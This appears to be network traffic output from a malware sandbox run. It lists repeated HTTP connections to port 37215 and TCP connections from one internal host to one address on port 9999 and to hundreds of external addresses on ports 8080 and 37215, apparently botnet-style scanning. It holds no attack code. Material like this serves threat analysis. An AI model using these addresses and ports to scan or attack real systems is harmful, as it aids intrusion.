Source: unknown	Network traffic detected: HTTP traffic on port 37596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52638 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54724 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40058 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52112 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58360 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54724 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50528 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50528 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43676 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39098 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39098 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50528 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45350 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56078 -> 37215

Source: global traffic	TCP traffic: 192.168.2.20:55372 -> 107.172.157.131:9999
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.225.194.160:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.176.239.40:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.3.229.160:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.38.55.139:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.192.49.66:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.8.113.254:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.144.155.42:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.3.163.163:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.59.21.92:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.138.222.23:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.233.21.229:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.32.8.223:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.99.151.23:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.183.117.78:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.225.143.186:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.18.79.103:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.242.71.106:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.11.118.98:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.64.75.247:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.252.212.113:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.174.130.15:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.220.69.118:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.32.234.28:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.198.43.222:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.227.95.11:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.198.181.113:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.126.143.135:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.230.55.221:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.230.0.49:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.142.37.173:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.63.109.123:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.255.87.149:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.99.17.33:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.60.195.22:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.24.73.44:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.45.48.158:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.149.221.247:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.148.202.245:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.20.87.198:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.155.183.241:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.1.45.132:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.91.64.24:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.46.55.58:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.41.34.98:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.253.142.231:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.91.154.81:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.50.156.230:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.59.81.191:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.106.89.74:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.77.208.40:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.200.250.62:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.146.246.36:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.223.98.43:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.206.108.249:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.182.23.90:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.253.185.253:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.65.95.0:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.180.45.4:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.246.20.161:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.251.236.106:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.163.2.105:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.92.165.122:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.96.98.207:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.197.18.162:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.162.41.107:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.11.22.86:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.174.200.131:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.252.111.54:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.205.2.127:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.84.127.186:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.176.66.78:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.36.45.196:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.239.19.98:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.196.104.228:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.26.102.4:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.250.31.236:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.199.97.10:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.32.92.216:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.15.14.7:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.203.42.223:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.153.43.11:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.57.16.9:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.110.23.131:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.110.51.138:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.114.168.159:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.63.143.151:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.66.30.52:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.142.59.158:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.37.185.11:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.46.21.137:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.184.170.87:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.235.41.18:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.17.14.7:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.29.112.2:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.223.124.122:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.164.85.121:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.24.127.71:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.31.14.47:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.29.162.158:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.131.165.198:8080
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 184.45.60.112:8080
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.233.194.160:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.11.229.160:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.233.234.144:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.179.147.175:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.70.202.239:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.186.77.220:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.25.50.36:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.101.159.241:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.146.25.173:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.88.219.42:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.1.10.51:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.181.105.113:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.154.238.112:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.212.9.134:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.246.101.44:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.64.8.175:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.184.212.236:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.62.84.154:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.117.131.72:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.249.12.230:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.191.78.8:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.75.82.170:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.183.104.126:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.206.216.165:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.43.120.178:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.95.119.50:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.132.25.221:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.29.173.183:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.154.29.158:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.247.199.247:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.180.103.153:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.244.126.32:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.129.171.112:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.60.99.175:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.180.212.61:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.71.89.77:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.197.11.157:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.2.21.161:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.70.81.114:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.253.22.201:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.185.114.254:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.108.175.163:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.31.123.176:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.236.115.46:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.174.156.64:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.52.37.71:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.106.212.207:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.253.89.77:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.112.128.174:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.172.114.179:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.3.192.176:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.166.189.141:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.38.8.109:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.9.161.244:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.36.132.236:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.120.249.65:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.162.114.87:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.146.215.19:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.254.58.133:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.136.206.118:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.99.74.66:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.129.66.13:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.148.161.95:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.95.189.96:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.9.83.229:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.186.255.38:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.6.99.98:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.129.25.115:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.16.199.165:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.147.197.2:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.68.107.56:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.40.183.243:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.144.127.181:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.217.85.4:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.30.97.27:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.146.129.134:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.221.204.255:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.68.205.219:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.194.84.173:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.174.30.166:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.164.228.54:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.4.25.191:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.91.6.210:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.218.77.50:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.72.118.154:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.187.19.146:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.86.136.241:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.157.57.226:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.253.20.144:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.101.62.52:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.238.12.212:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.19.217.25:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.28.91.244:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.93.165.36:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.127.32.223:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.107.147.186:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.165.213.26:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.207.65.18:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.28.36.95:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.128.10.148:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.209.72.81:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.217.135.225:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.143.157.31:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.26.122.182:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.200.174.21:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.55.58.66:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.0.158.35:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.194.181.12:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.106.4.48:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.199.189.13:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.117.92.129:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.63.147.17:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.33.23.195:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.193.137.55:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.245.57.249:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.6.207.14:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.163.115.141:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.70.133.245:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.11.180.242:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.13.210.26:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.206.192.220:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.51.248.58:37215
Source: global traffic	TCP traffic: 192.168.2.20:44552 -> 98.152.103.85:8080
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.61.27.79:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.191.77.22:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.62.25.226:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.171.117.45:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.247.23.232:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.97.55.72:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.20.159.231:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.198.9.235:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.210.133.183:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.135.39.222:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.111.251.239:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.50.160.133:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.224.91.92:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.107.139.98:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.104.51.234:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.91.216.128:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.251.223.208:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.242.134.219:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.142.0.180:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.198.192.103:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.138.64.72:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.244.140.191:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.211.216.21:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.93.75.229:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.25.24.160:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.205.42.171:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.121.82.1:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.41.75.217:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.65.244.45:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.183.16.60:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.226.105.223:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.115.158.88:37215
Source: global traffic	TCP traffic: 192.168.2.20:44808 -> 197.32.133.103:37215
